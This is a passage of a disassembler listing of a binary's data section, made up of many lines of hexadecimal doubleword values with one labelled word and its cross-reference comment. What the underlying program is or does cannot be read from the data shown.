dd 0A1728D09h, 0D6B8615Eh, 90DCC4Bh, 7AE4DEEDh, 0DE0E8997h
dd 0DB00F6BAh, 34E09C52h, 218BC96h, 56BBFC9h, 746021F9h
dd 4E970BC1h, 9D030BC4h, 375718A1h, 8930AD5Eh, 42011558h
dd 0B8ED3DCCh, 1C3489EEh, 0CB1A4EC9h, 0F03143B8h, 2B9B32Ah
dd 48E18992h, 98FF2909h, 800446EBh, 960ED254h, 8450F88Bh
dd 0A1AFB531h, 448C6A92h, 59BD3F23h, 60D3DDCBh, 1A5B7D11h
dd 9494DEA3h, 8738DF58h, 9068B25Ah, 543127F4h, 0DA8A6277h
dd 0CC2E040Dh, 2E006465h, 25B92CC4h, 0A8FB0Fh, 77BF7536h
dd 5B1B8D3Bh, 601EE691h, 0B2EC28C0h, 7DB7B476h, 15989F61h
dd 26004DD6h, 28F1F6Fh, 0C8E727h, 0EC866EEEh, 5B1ECCB5h
dd 0ADA4CF7Ch, 5812B304h, 805E08E9h, 84D0225Dh, 3A4E1D47h
dd 91671489h, 4682C6A0h, 51EFE10Fh, 57ADCB0Eh, 82DD1B1Ah
dd 8E14187Bh, 0DE1D29D6h, 0BACD2DC3h, 118CEFC1h, 0ABC9E0FFh
dd 57AE4D13h, 0C267A892h, 779D2B61h, 17D5E22Bh, 222E40B9h
dd 60E6CD03h, 0B578AB18h, 810A4D76h, 0DED54C52h, 6739D11Fh
dd 0DB30AD87h, 0B4515580h, 0B5223920h, 0F594F802h, 0CB5C5F4Ch
dd 2FC20E51h, 51485A4h, 0D9B81EE9h, 0CB79DE89h, 0EF511CD7h
dd 5F44A0D4h, 2586EBEh, 62A14A4Dh, 51925ED3h, 0FC4D94BCh
dd 0F4AEB3A4h, 4609D8AAh, 6D9C3500h, 4BF21650h, 0CE1E0009h
dd 598D5399h, 1925FD3Fh, 5A2446B6h, 4BFBE7FCh, 0FF00346Ah
dd 66859C0Dh, 73B5E3BBh, 70902060h, 7A5BBD79h, 2BBCE7Ah
dd 89F0F88Eh, 0C6F5EB97h, 6CDAB5C9h, 0D3243425h, 18155958h
dd 0A3635E35h, 4ADB3CBBh, 8B2FACB3h, 6112F159h, 928DDAEAh
dd 2F823898h, 0D76B34Ch, 0F6B59C20h, 4512DEE3h, 0F7B1066Bh
dd 1C0B4Ch, 0DB6C567Dh, 0CA28B11Ah, 1985CC00h, 160696AEh
dd 0E5132F18h, 0B2006344h, 0CD488595h, 4A0AA89h, 9F7AF4CAh
dd 0C47EBD71h, 2A2913B5h, 16B27DE6h, 4BC16F30h, 9141C441h
dd 2F502FB1h, 0E36F1912h, 0DBB0AB00h, 877E075Eh, 811F0C00h
dd 1346C1D7h, 3D9A9758h, 60E87146h, 41AAE0BDh, 0C3A005B9h
dd 0EECA0391h, 9ED0BCD8h, 92422D47h, 4D45B857h, 0AC84A41Ch
dd 5D60B54Ch, 0D30281D2h, 23303FAAh, 82EC5561h, 19228977h
dd 6DD4B52Dh, 0A8B06196h, 4748A32h, 48116840h, 36EC0059h
dd 0F75116A1h, 96023EDCh, 0B190A6D6h, 1E6DF9C6h, 5624C5B4h
dd 79CBEE85h, 0A1F12A01h, 2B5F03BFh, 0A6BF49C4h, 0D8BBE56Fh
dd 210EDAC1h, 0C44EEB81h, 0B6BA616Ch, 4D1B1227h, 0B98004EAh
dd 14B8012Bh, 61CDCDFFh, 0C814602Fh, 6A4EF834h, 0F6E422BDh
dd 0D3AFA003h, 0CC582898h, 0BC9D54EEh, 0F3565850h, 8981CF14h
dd 0CC5AC490h, 68A4D9F9h, 31F98A02h, 7530218Dh, 810324EEh
dd 7EF2F6C3h, 0ED345A6Dh, 91F8F4h, 48B0A214h, 577C0B8Eh
dd 8B0A9997h, 2C949928h, 0A2495477h, 63F01380h, 3669AF61h
dd 18926E7Fh, 856A11C1h, 852A63E1h, 0FD25C98Dh, 97FCC661h
dd 0CF1064D8h, 381860Fh, 920ABDB5h, 0D700562Fh, 67324754h
dd 0B0C6485Fh, 24210986h, 0D936739Dh, 0C4A1818h, 0A342A2FEh
dd 0E92DFB96h, 10F07282h, 8919ED85h, 0F2107D01h, 0A16D0BBh
dd 0CCFE3FF2h, 0FE12BF2Eh, 1EF290F8h, 2B3EEB00h, 421E3578h
dd 0B0A9C700h, 0B2B3FE49h
dd 0B750095Bh, 375F90ACh, 0EFCC00C8h, 0B4C04852h, 0E70F4117h
dd 0EDFE21FAh, 0D8FA042Ch, 1D003A5Fh, 0FD71108Fh, 6B09F12Bh
dd 0BF7F0A85h, 738D0B78h, 6CB71E64h, 0BD4B14A2h, 70089314h
dd 0A43423DDh, 9B5A80ACh, 61BB96E6h, 3AD62F76h, 0A43E5EB1h
dd 99E60B9h, 0D10EEC68h, 5ABEDD61h, 0F5478020h, 0B3A1009Dh
dd 55F49B7Eh, 500F146Fh, 29735357h, 0E9D1ABh, 447DAA24h
dd 0DF3ED97Bh, 5DB180FFh, 0A43AD8EDh, 0F900C5Fh, 0B32F0280h
dd 7CC0DD5Fh, 29C751DBh, 2FAF61FCh, 0D468D37Eh, 570E7509h
dd 7C9E1F96h, 93D204D4h, 0B84AB3B5h, 0B31C9ADh, 4FE85A50h
dd 0E03720D1h, 36072576h, 0F9E59928h, 0B34E1920h, 0C68E031Dh
dd 9D1B4B94h, 2D55A412h, 5BD8CEFFh, 26BDD212h, 0C00BF2BCh
dd 0F4F7E1BEh, 0CDD0942h, 727330F5h, 4F6C002Ah, 398E86F0h
dd 0C80202F6h, 4B7C7F23h, 36978FA3h, 0C084B00Ah, 75595042h
dd 0E7165ADBh, 7161430Bh, 40C280E4h, 0A30A5F1Ch, 8D6EF700h
dd 64023A46h, 0D09B085Ah, 0C58006E9h, 0EBF3F5A5h, 9299B40Ah
dd 0F9B35231h, 90A0D7E1h, 8E374BE9h, 0DD7A109Dh, 6E137559h
dd 5965F8FDh, 0D70A8923h, 0B731DB14h, 18C51EFAh, 0A04BA05h
dd 548C50F9h, 0AECF006Ch, 92FEBAACh, 0CD018048h, 0C065C51h
dd 0D07690CCh, 0FE3488F0h, 1DEBB0C2h, 0A5495C82h, 0D5803DBDh
dd 8C3297CAh, 0E9DD176Ah, 7CB3A7h, 9565247Bh, 9DBFF09Eh
dd 50AFC556h, 5B1D402Ch, 4BDF92C2h, 0C98A5CE6h, 1F331F80h
dd 0EC951702h, 0C9BD111Ch, 871CA931h, 0D0282FA7h, 0F9646D7Eh
dd 86B13191h, 0D65DEE60h, 0E2BDC071h, 3A4E912Dh, 732B44F1h
dd 47090970h, 27C9B529h, 0BF02B07Fh, 748E4070h, 5A51EAE6h
dd 8067A803h, 0ADCF805Bh, 0B77112E4h, 0E37EE4F1h, 4E205689h
dd 0EADF8A99h, 7B66C06Dh, 8CBA4A2Dh, 2C44216Eh, 9A9097C1h
dd 9301A346h, 619E5414h, 2E5C85h, 7BB9608Ah, 3A58D0DCh
dd 27E5C072h, 19E9DC0h, 0BA4ABC48h, 6324BF6Ch, 11EC5F3Ch
dd 589BC4C1h, 0AC142E61h, 129510FBh, 4A62B35h, 0C556B38Bh
dd 38D08DBh, 5D3808Bh, 730170D0h, 175D9529h, 3385BE04h
dd 3861BD89h, 18657F3Dh, 0D18DAB8Dh, 3D018501h, 8D2A93Ah
dd 485843C7h, 41B30B5Bh, 0F535C97Fh, 57AF322Eh, 225778EAh
dd 5C5B6115h, 521E44B4h, 9DC2DFADh, 425C2669h, 0C99E51A0h
dd 8AB5B69h, 902F5DB9h, 59B87h, 1AB004CDh, 0E360EA78h
dd 5BDF8B0Bh, 0E002CD6Ah, 8FE37B86h, 0BD0D0602h, 57AF47B6h
dd 1009C131h, 706551h, 61EF31AAh, 0BB9B364h, 0D3D2104Ah
dd 6AAB5C59h, 0EFF2D43h, 24A6F3DBh, 0EAB2E7E0h, 0D4E3D209h
dd 8ECD5D2Bh, 0DA2134C0h, 742B9725h, 0CE67CD5Dh, 0B49C6622h
dd 0DD17Fh, 0D404E381h, 0D4A643E6h, 8048183Ch, 17BCA309h
dd 9F6052F7h, 12054C04h, 5A0A8FAAh, 6E44A0E1h, 4D0DB7B4h
dd 0B1F8B688h, 236A5216h, 6EDA7F03h, 0E58A103Ah, 16034810h
dd 29EF1241h, 2EDEDD01h, 52817A34h, 8B6B1AADh, 0C01CD4D2h
dd 783EE6A7h, 0ED1C004Eh, 8BB2F81h, 574BE0DCh, 41222C8Ah
dd 894A0B7Dh, 0F9258DE7h, 0AA8AD566h, 0E1FF9868h, 0C03D6D9Dh
dd 0FB83510Ah, 55626290h, 56D88B4Fh, 40850ABh, 35A67EE1h
dd 30ED73F1h, 54954103h, 0B1F37165h, 19F52653h, 358E8E2Bh
dd 0DBEA27AAh, 72AF8032h, 4A60E4B7h, 0BF66C4F5h, 9604C26Eh
dd 0BE11AC9Bh, 0F60AA540h, 0D30C8F0Fh, 0C3D6EC27h, 84798D29h
dd 80B5B701h, 2EA93BE1h, 0F75A0FB8h, 9DB7C8h, 9AE40827h
dd 71F3DB33h, 645D5E07h, 6AA485AFh, 71CA8ADh, 4ADC2701h
dd 0BFBA90DEh, 0EBE7066h, 6BE52310h, 2111020Ch, 0C49DBD23h
dd 0D2F1ECC7h, 11F1A75Fh, 5F71080Dh, 4F57A256h, 5B2E71BEh
dd 95D47A5Fh, 91B83DB9h, 0B5B06513h, 846208A3h, 778B145Dh
dd 3CBBE060h, 429A6407h, 0E3529868h, 81485757h, 67712434h
dd 29BFC58h, 9523D48Ah, 4B4B5851h, 0C4F0FD61h, 0E6BBB255h
dd 8DC4F047h, 0FF2D0B34h, 0BB85F8D7h, 25D0B8DBh, 27A9C4ACh
dd 155C155Dh, 50ECFB5Ah, 0DD02FD9Bh, 0BD9CA592h, 95F568CFh
dd 0E11264B9h, 4B91AC5Fh, 3BEC32BDh, 74001573h, 7C052862h
dd 0AD38189h, 66F8BCCAh, 8F42A5C2h, 0ADB5BDFDh, 6CAAA17Fh
dd 742B2384h, 8D6AEEACh, 0FE897012h, 9E80DE9Bh, 0A3FA43F2h
dd 0A77E2712h, 0DBACB465h, 0B10E7712h, 36339Eh, 0BE4B4927h
dd 0E400CDAh, 50965E86h, 0A5A90453h, 0D69AAD07h, 0FA109CC8h
dd 0BF460078h, 8BC9A41Eh, 5D070D26h, 4B13ED1h, 68184FA0h
dd 0F4E9047Fh, 0E58D0FE1h, 0F8775132h, 84802B5Fh, 242A1A80h
dd 55688D1Eh, 60A4C700h, 613FE9Dh, 74D648BFh, 0AD20CE3Eh
dd 0A2904E1Fh, 0FEC20031h, 86D6B6EAh, 0F59A9760h, 94504487h
dd 2D8ABF83h, 0D9007D38h, 32F55A66h, 0A6724512h, 6198F200h
dd 0C2E6C3BFh, 93907F8Dh, 335002D6h, 10484DBDh, 3795615Fh
dd 0DE540088h, 8AFA7D98h, 6FCFDC4Ah, 0A5C9A64Fh, 0CA7B17FEh
dd 440B38A4h, 0A5038921h, 12B77F24h, 5EC52h, 2F45D513h
dd 0EE79FFEFh, 0AA5DCD40h, 5B8C1E8h, 0D409EF15h, 71E5562Fh
dd 66837584h, 0AC14F0B7h, 0C8EE4EF8h, 6F45551h, 0D47741Ch
dd 880FC4C2h, 1AB72102h, 35E34B5Bh, 9BEB8442h, 0BFD8C487h
dd 1B54EC0h, 0EFF19F06h, 1CB6516Bh, 6FC60960h, 298B9D59h
dd 9650749Dh, 0BD2F060h, 65FE4082h, 0E57F8A23h, 3ACF51B0h
dd 0F98E53B8h, 0F1F8CE6h, 3BEEE85Eh, 25F06296h, 0AC5B040Dh
dd 2BC9D7D0h, 2780823Dh, 6D547945h, 597783Ch, 5B19B5A3h
dd 275AA2BCh, 0EC84E0A7h, 7300DBB3h, 13E23823h, 97679B7h
dd 0D2C78BCh, 5347CF7Ch, 0AE905549h, 594F9509h, 0C0F67D17h
dd 683017B2h, 0B5F2523h, 0B73782F5h, 60D956DAh, 253977BBh
dd 0BFDA564Ah, 0B4C018C8h, 5B6CAF55h, 0A19CB062h, 99302BE7h
dd 255B8FBBh, 0B07F71A7h, 852F11E9h, 6D808729h, 7D67E99Dh
dd 0CDD6047Fh, 94FDB529h, 0D553AACCh, 0C098DAFFh, 0BE9AF175h
dd 0E334269Bh, 14D509DFh, 4248D056h, 1DA9EA81h, 7E6CE17Ch
dd 0DF13A458h, 439AAA5Fh, 0BA2A6097h, 0BB00B19Fh, 28AB30DDh
dd 0B660DE34h, 0A8EC40CBh, 74001D31h, 0B12DBE54h, 0A1168B59h
dd 0C12F11D8h, 62024551h, 1261483Ah, 0C8B72035h, 3CBCB459h
dd 0F50B0D0Fh, 73B3C279h, 5E10757Bh, 6A12C965h, 9BBE6088h
dd 15CEC0E2h, 209D8998h, 0AD8A2E21h, 40BB95D7h, 119474DDh
dd 0CDF0DC03h, 0BA950141h, 3196D702h, 0D47BB4h, 602105F7h
dd 0C18134B7h, 44098DECh, 5C50610Bh, 0F092403Ch, 0BE01FC63h
dd 0AC023205h, 0F425684Eh, 16216E7Fh, 24C83369h, 0F7401CEh
dd 4D4E0BD0h, 529B588Eh, 67AC605Ah, 0FF3712D2h, 4369E3D8h
dd 0D9D1D32Ch, 9B718BB3h, 0C3C11E78h, 30969225h, 769F5029h
dd 41BB4052h, 17F5149h, 0EFBDF94Ah, 1F8C1AACh, 4B034B1Ch
dd 0DF82E131h, 0F42B0C83h, 80269B5h, 325C18C1h, 7043DBE9h
dd 0A34A95E8h, 31C82102h, 0C064933Dh, 950F21BDh, 89763CCEh
dd 5C20CD27h, 0A55E71A8h, 40B7D760h, 0CDDCBC00h, 0E0C28BF5h
dd 0AA014AB4h, 985E126Ah, 0FE038B10h, 15BA2DF1h, 575BBAACh
dd 161957E0h, 0D39C681h, 0E3059D12h, 185AD632h, 10AC5689h
dd 0D4E91214h, 601BE0h, 0C2CAE2BFh, 1936B930h, 610FBE12h
dd 27D708B0h, 115D937Eh, 8BF8FC81h, 4DCD97C1h, 17549BC1h
dd 4AC12960h, 0CB3DB931h
dd 0F6C4D550h, 0E172E895h, 0F7950054h, 539BFB40h, 23EA6837h
dd 2F61E9F1h, 0B11089F9h, 76D4C08h, 10416A88h, 0E47D4D3Bh
dd 3358AF33h, 9E08FDAEh, 72786F20h, 62A02B29h, 234EEBFFh
dd 0C7F081A6h, 0C63ABFF8h, 5C09AD5Eh, 90DF4243h, 42251E7Ch
dd 0DF3277D9h, 0B98A53F6h, 60174F1Bh, 2AD2F51Eh, 0C3F8CFAh
dd 0F109A172h, 5961C293h, 0BD2982DFh, 38D712CDh, 90D1FF78h
dd 0A3BA1803h, 32755609h, 282B6181h, 6FBF6BACh, 57E960FFh
dd 31155222h, 25B6019Dh, 3EAA568Bh, 0B7EB8181h, 716E5FA1h
dd 0F6FD2BE5h, 8E0B16E8h, 56F99B09h, 8AF55351h, 0BF660A3Eh
dd 9709A4FEh, 628F590Ch, 209EC09h, 5C0739E5h, 9BB3C007h
dd 0BA00D2EBh, 5FF4B5A4h, 0BC3F92h, 9D54A913h, 929B74Ah
dd 73159534h, 0A56FE6BFh, 0D7C12672h, 2BF9BEB1h, 9BBF8034h
dd 3773C036h, 4C0B1408h, 994A4EB2h, 0D9708261h, 8104870Fh
dd 0AD7DBF09h, 0A068372Bh, 6AD52FBBh, 80E638F7h, 0A8E747BEh
dd 5C540362h, 0F51E9EBBh, 9A2E8290h, 357E4509h, 91F28244h
dd 25BAD232h, 0B9FF0825h, 1F141D1Ah, 252F10C7h, 79B160B0h
dd 616C0BBCh, 8275E6F9h, 22AE5DFh, 954671E4h, 0AE536402h
dd 56D79868h, 62F19155h, 106597Ah, 0CEA18D31h, 50595009h
dd 276022BAh, 2E6A9533h, 34F11941h, 297519Ch, 5596FE4Ch
dd 204E816Bh, 888928A8h, 2B34B0D5h, 0D2519DC8h, 43E5A00h
dd 27A76Bh, 5E1D0372h, 28A48F51h, 5CD18B2Fh, 0F8FAC06Eh
dd 11D692E9h, 0C5BAB116h, 4876B346h, 59592F71h, 4C440E0Ch
dd 14705F29h, 0D687F712h, 8D7E45B1h, 1EDBF46Dh, 1FB4021Bh
dd 0CB12021Eh, 27CA6C92h, 15914E56h, 8B47BB00h, 4AE97056h
dd 88BB15D6h, 263F73BDh, 662AA5E5h, 8531095Bh, 0B1D51D4Dh
dd 4152A05h, 0ADFED228h, 3353815Bh, 572831BDh, 40EEFC4Bh
dd 8A4B0F69h, 0A9B48EACh, 6DC48463h, 0EA0B1412h, 0A745AF97h
dd 8BFF0211h, 28DA5EFDh, 0B9F8E081h, 0BB122FCAh, 444DC8h
dd 5CC4DE68h, 7185A0Bh, 8B8EC809h, 0D1EB814Dh, 206A5F6Dh
dd 13ACDD03h, 0E187D900h, 0F89E4D5Eh, 5D95A260h, 0F697BA6Ch
dd 31FB9DDDh, 6A1021CAh, 14C817CFh, 0F733E4C2h, 0D22B4D90h
dd 0F029522Eh, 5B252710h, 23E03FFFh, 0EEE19699h, 95FB8FD8h
dd 92983692h, 8300A079h, 0B5D14238h, 0B65F51Fh, 33D67D9Ch
dd 0CBC0E354h, 46422780h, 24FC4467h, 0AB1C9795h, 79E2258Bh
dd 0DA4AD6DAh, 6E2717CAh, 75AF4BF3h, 762D23B8h, 0BB57C813h
dd 55F90DC2h, 1D64EC4Dh, 0CB198860h, 787F3F1Dh, 8FBB1B44h
dd 0ADA831D5h, 0E81A009Ch, 27C63317h, 89B32B3Bh, 55DEB536h
dd 81BF03B0h, 3187A34Ch, 0E1FFDDF9h, 25C5D5ECh, 44652EFAh
dd 0A6D76810h, 0A7BAA4B8h, 458A4ABEh, 0D77B5227h, 0E623FD8h
dd 9BE38091h, 0B22C127Eh, 93EB8E63h, 0C09ED59Eh, 4FDCB670h
dd 9825A1E0h, 2DD046E6h, 404A8529h, 66A7FAD1h, 0EFBF040Ch
dd 0BA6B36D5h, 3090451Ch, 81EFF44Fh, 883A0C45h, 4502BDC2h
dd 0FDFA1D87h, 54F40A6h, 3C5B952Eh, 941C304h, 2B015A21h
dd 0C1A089E7h, 0AC2C73B6h, 5A2D2BC9h, 806009CCh, 0B155EADAh
dd 0F87A8582h, 9A612F14h, 0C4CEDF96h, 3DF935B7h, 0DF0AD380h
dd 609085B7h, 56537390h, 7A43008Bh, 0FF9E2AF4h, 0A85B5B1Eh
dd 22BA5F57h, 0D1D46AEFh, 177904DEh, 407E3A8Ah, 0F00A2A68h
dd 2B5BEE2h, 1D2EF9D5h, 0D30045Dh, 0E478A6AFh, 0A60042B6h
dd 42630E6Eh, 7F28B21Ah, 714FC035h, 558049FFh, 4155CF5Fh
dd 2AC67FEDh, 7EF281C4h, 30C6B00h, 6705B597h, 0A68B4900h
dd 0B98452F3h, 0B2575B8Dh, 0E996B73Dh, 0D85B9D14h, 4B6977D2h
dd 8F242BF2h
db 0EFh, 0E6h
word_505446 dw 0E037h ; DATA XREF: ___:off_4274D8o
dd 4A4B0675h, 6E81CD5Dh, 9532F3F0h, 0FC6BAD59h, 1D00D4EFh
dd 5829BEB8h, 95DDDFC7h, 2A16F761h, 33490C8Bh, 6B3D55ACh
dd 0AA350BF6h, 342B8AC4h, 0ED3C522Dh, 62F0A67Fh, 5E2DF91Ch
dd 1F40E90Bh, 37B70446h, 8C610BB0h, 0AD82B0B2h, 960419A9h
dd 3DC188EBh, 69E6280Eh, 4496508h, 6020CCBFh, 60F48A25h
dd 930BF03h, 964EA12Ah, 238209B7h, 4637A8C2h, 49D20049h
dd 348F6148h, 0FDEA26A7h, 0C55DB12h, 0EB6DB7B1h, 4B1DD5ECh
dd 1841BFAh, 6DFDA585h, 7B72CE5Fh, 27C94AA0h, 4F41F400h
dd 9A16C87Fh, 2F5905DDh, 0BFF8B333h, 5D57F4C2h, 0FED5271Bh
dd 0E47BFBDDh, 8B69C9C8h, 3865DC9Dh, 0B92BBB02h, 96905ACEh
dd 9A09F4BFh, 595852E9h, 1900BEFDh, 9033460Dh, 8F9862B7h
dd 15712290h, 0BB405899h, 475710Fh, 0DF806163h, 0CCE7BF4Dh
dd 85D5ADA5h, 37C242B8h, 598C56A3h, 0A4C41423h, 0BBF7EFh
dd 0B339C56Dh, 52D4F6h, 9936B4CFh, 26E23D2Bh, 0E9C8B65Fh
dd 8759FE80h, 0E16D955Eh, 3C060CC0h, 0CB640039h, 0D7805798h
dd 37955BBCh, 0EF600724h, 0AC680466h, 7DBEA2B5h, 0E0D0A773h
dd 0CA763B1Fh, 0A2BE125Ah, 558DCDA4h, 616B3021h, 7F7DC599h
dd 1AC8F29Ah, 0CD6F80CFh, 12693C56h, 0B3F98A36h, 0BD244AA4h
dd 0F1FBBAC0h, 0AF90020h, 9373CB3Dh, 0BD0147E4h, 7A356C38h
dd 0A62ACDF6h, 3216B2EAh, 75BE427Dh, 1950230h, 5BA71D4Ah
dd 5BFE0B25h, 8B579640h, 66D19FF8h, 0C7808B3Ch, 0D39021Bh
dd 79E57F0Ah, 17A99412h, 2016AD7h, 8E4E7A5Dh, 25467571h
dd 0D7850CC9h, 2F8970A8h, 196281EFh, 0CFF3576Eh, 0B2DB52h
dd 0F9F00803h, 7A0039BAh, 66FA4DE2h, 0BD539BBBh, 0AA302404h
dd 0C2FF1F74h, 87560A17h, 9D1AF5EBh, 973D17Dh, 48556160h
dd 860D8549h, 0E92FD1B0h, 580E5423h, 148518F1h, 0DA55E757h
dd 2BF5E201h, 0D349FD2Fh, 0F57D99EBh, 0DBA22A13h, 9DF8CBB8h
dd 3F2FD502h, 7E524773h, 91F10FBh, 7150965Fh, 181500F1h
dd 66D839C8h, 21D6AB00h, 0AFDA7364h, 4F3F06DBh, 36C99D8Dh
dd 9AB7BFh, 0E4CAB0D4h, 0A47FAB5Ch, 92516924h, 0E38209C5h
dd 1303D203h, 0FC266D8Dh, 1CE1B154h, 41F3DD3Fh, 2A729A04h
dd 0B776BD28h, 660014Fh, 0B46DC1Fh, 0A98E76ABh, 0A481C2F0h
dd 0D167AD35h, 39D9107Eh, 0B243E0E9h, 0C294CFh, 5FE19663h
dd 0F02A8E79h, 1B91EB13h, 0E6FF64ABh, 0CA2DA010h, 5AA8735Fh
dd 0A913EB4Ch, 5B8FBE09h, 96012F7h, 255005E0h, 614AA3F4h
dd 47436AAAh, 0A69D2CE7h, 0B17D9900h, 5FE4689h, 226CDF81h
dd 0CC64AA4Ch, 730FF4E2h, 4103EF49h, 7602B06Ah, 0F9891A43h
dd 3A35D531h, 7D801C91h, 3202B0FCh, 0AD684909h, 441C591Dh
dd 5560493Bh, 61519A64h, 2342ADEh, 27B5F009h, 0D509C6BEh
dd 0BBC500CDh, 5F0EE6BFh, 3FAF975h, 0FFF44B82h, 0C1C2F88Bh
dd 4FB3757h, 0B8D29D2Ch, 0E1038196h, 10F80782h, 0D1AE3FDAh
dd 0A4E4432Fh, 0CF4FF4BDh, 0EF51D1E9h, 8F0F9085h, 0ABFE28ABh
dd 3E0E11FCh, 82936DF1h, 4828C903h, 90FB8B83h, 43199482h
dd 0A9B86C1Dh, 1B018763h, 2C83F419h, 50D6346Eh, 19F34A15h
dd 7C85708Ah, 8E3CC448h, 0D31C42FFh, 0EFDF15E5h, 96414FAFh
dd 8497E74Ch, 23FA65E4h, 170C6FFFh, 41EB9B6Eh, 0EBB41275h
dd 8EB09D05h, 490662E5h, 496D11B4h, 0EE89F82Fh, 0FF709BFBh
dd 0DFD1BF03h, 0E9F38086h, 4A93904Ch, 4FB0A215h, 132F8CE8h
dd 35A7F9E5h, 0AEBA0552h, 59A2FEF1h, 7F61F14Fh, 8862B6CAh
dd 56090C69h, 5CAA0B6Bh, 0F6D17404h, 0E288E1CBh, 4AC8C460h
dd 225FCAF5h, 0BE8AEC72h, 6AD961BFh, 56E3A02h, 0EBFE6616h
dd 0BD03DF30h, 0E91A5E6Dh, 7A57C0DEh, 0EE02590h, 562EBF27h
dd 0FF5F3784h, 0F1C249DEh, 89FDF567h, 8BFCB0D9h, 6DE92FDEh
dd 6F12F5E7h, 0CA7A6316h, 8561CF16h, 11D73079h, 0EB392BFFh
dd 44037C02h, 156C18E9h, 0ACB8A40Eh, 5F278859h, 5070C1D3h
dd 95587DE0h, 11FDF10h, 0B9595F0Bh, 281555C8h, 2F9E464Bh
dd 0E6D6DD0Dh, 0C2FD9C7Eh, 0DAF7F0D7h, 0C9B04A5Dh, 0D17A6FCCh
dd 4BDFC010h, 0BBE47EFCh, 1F4C636Eh, 0F912053Bh, 8608FEEAh
dd 0A95E3C1Dh, 1EDAD23Dh, 0E8F2F580h, 0B6D7C0BFh, 6A32C1AFh
dd 12F62AFFh, 0DB027BE0h, 0E341C017h, 15751305h, 878C9EEAh
dd 0E7D02808h, 4B8CC55Bh, 0FE2F9812h, 1BD10E1h, 28988411h
dd 0E07CCB03h, 8D6070E6h, 63B78DEEh, 80B00E0h, 0AE8E35E8h
dd 9520127Dh, 0C67302ABh, 1BE1D2B7h, 0A1C2CEF3h, 2CA228CBh
dd 8FF28101h, 4B3D0BE8h, 0B74A9261h, 97819510h, 9D6374FCh
dd 475B4A5h, 161509B8h, 95310B02h, 0B20E761Dh, 0FE09070Ch
dd 0E2F78927h, 0C82BE700h, 519DBD33h, 0A0D11396h, 755FE940h
dd 8300AE3h, 4C508521h, 74475531h, 892A14E9h, 37BD3066h
dd 0E2AC41Bh, 9D981212h, 3F19B14Dh, 18122DCh, 1B5F0E3h
dd 983EE966h, 0D90F917h, 18568A0Ah, 0F30FC548h, 17E1B269h
dd 33C2133Ch, 8468219Dh, 45B5DC8Ah, 41DA101Eh, 0F9C1015Eh
dd 1E8A6A13h, 407B8E10h, 8A2DD9D3h, 125E0ECh, 15AD259Dh
dd 978310CEh, 55480C6h, 0EFFFB992h, 0A9BFF85h, 0ABD9BAD6h
dd 4AC99130h, 9BF3C573h, 60DC043h, 2336993h, 8CF1AFD0h
dd 0F34DFCF3h, 0A45521EEh, 0A3437DBEh, 2B0484B9h, 2D4E93C0h
dd 0D1D21125h, 0D7818030h, 7C671518h, 0C41D1E97h, 0BB231140h
dd 0B5F088F6h, 7E1D4D3Eh, 2FC2D68Dh, 7E890F7Dh, 9885445Ch
dd 204E6199h, 54220849h, 0C2016B6Eh, 3D242DBDh, 701D206h
dd 5FCE2AE8h, 0A90CF92Bh, 670C2467h, 0C56C60ABh, 70FF304Bh
dd 2FD9DBCh, 0F37F6181h, 0B26BE97Bh, 5A814FCh, 8FDD79EBh
dd 8C07FE96h, 7FD9B19Dh, 621927C7h, 9F2FB84Fh, 9FCC8080h
dd 97649093h, 0C6491Ah, 0DDC84C00h, 0FF8BD08Fh, 0DC479CE1h
dd 3F33A095h, 5F906041h, 0ECCC84EBh, 6FCA4ACAh, 8161D034h
dd 2A2EFDAAh, 0D822968Eh, 0E9E75750h, 56666ABDh, 72D05235h
dd 787CDBBFh, 4C4FFF5Ch, 7763E0C1h, 3D09EBD0h, 609716A8h
dd 0C962AE52h, 57C9928Ch, 0CDB725D8h, 0BEA3C46Dh, 2FB31012h
dd 4904A64Ch, 0B97F3CA4h, 0E63F2230h, 12312795h, 714914F9h
dd 0BD0902A7h, 0B5C32E5h, 903BA1E8h, 5B132F05h, 7F0BC990h
dd 0FA39E2A3h, 0ACF63B01h, 7A1ABFE2h, 6A90BB91h, 0B87DED2Eh
dd 9E573CBh, 0F53B0884h, 0B6D0BD82h, 714BEDF9h, 3559004Eh
dd 0E0E1B1C5h, 5B610BFCh, 0EF0FBF88h, 0F664D27Dh, 82F25317h
dd 0CD5FD500h, 75197A46h, 7BA36E00h, 0F833712Eh, 0FC409DFh
dd 85D88BA0h, 0D1A4E278h, 104007BEh, 4913BD18h, 3AE8FD78h
dd 160BB071h, 77482112h, 3F9959Ah, 8989099Dh, 81B0570Ah
dd 8B03B24Eh, 0A4349E31h, 0F0FAA13Fh, 0A747172Eh, 0F9C7B232h
dd 0EE9E00F4h, 8A440664h, 17DA900h, 3E4D7E0Dh, 0C2080F15h
dd 4507BE9h, 0F55BD31h, 0EAA474AAh, 0F9A38D12h, 0AAF9B712h
dd 1923016Bh, 8D954A00h, 950996FBh, 0C156EDBAh, 1C480BD4h
dd 6DD789C7h, 82D6E158h, 0BD203FB6h, 4AA02Ah, 0B0BCEE26h
dd 0DCED1942h, 9BEC8C00h, 0DDC776B2h, 58FBBF64h, 0B96E5Ah
dd 7F8F3240h, 920CAC08h, 4CFDDE5Fh, 1345B508h, 0FA5BCD2Ah
dd 309B6113h, 3F9C1F80h, 0B4040BC6h, 0FCED4122h, 623767FFh
dd 53F70801h, 0FE7A30B4h, 14035268h, 72B33FEDh, 0AD880F81h
dd 0FB32F217h, 0BE020D6Eh
dd 73687FAFh, 0E4E7FF8h, 17DFC6A9h, 2DAFCD8h, 0E9505A52h
dd 6C8C2011h, 0CE0023C9h, 46997B04h, 3C38F98Eh, 688645E8h
dd 0C660909Eh, 25BE08EFh, 5073DDEEh, 0B727F51Eh, 0C45D0422h
dd 9009FB95h, 0DAE4FC26h, 6762166Dh, 102AF651h, 535B2520h
dd 847F4B7Bh, 0BE122FC7h, 3AF983CEh, 0BA012BE3h, 0A683E6A2h
dd 2A3EC53Bh, 1416DEBCh, 4B95E8B3h, 52653CFAh, 87425689h
dd 9F2C580Dh, 3D985EC5h, 0DF812Bh, 68BB8B3Eh, 13D3A9BFh
dd 0A462035Eh, 88CF200Bh, 420199AFh, 51F4B7A8h, 94B9E345h
dd 1AFB1D2Fh, 272AF0A7h, 38FD02FDh, 25BD3392h, 4C6E14A5h
dd 0D9222B7Ch, 8BFAC207h, 515557F2h, 615F00B2h, 6CC2BB50h
dd 962A4C1Dh, 651294EEh, 0F65BA9C2h, 1446D658h, 0D98AE309h
dd 4DA5725Bh, 6BFD4B1Dh, 0B2C9E0C8h, 0FA0D4ECCh, 0D465B563h
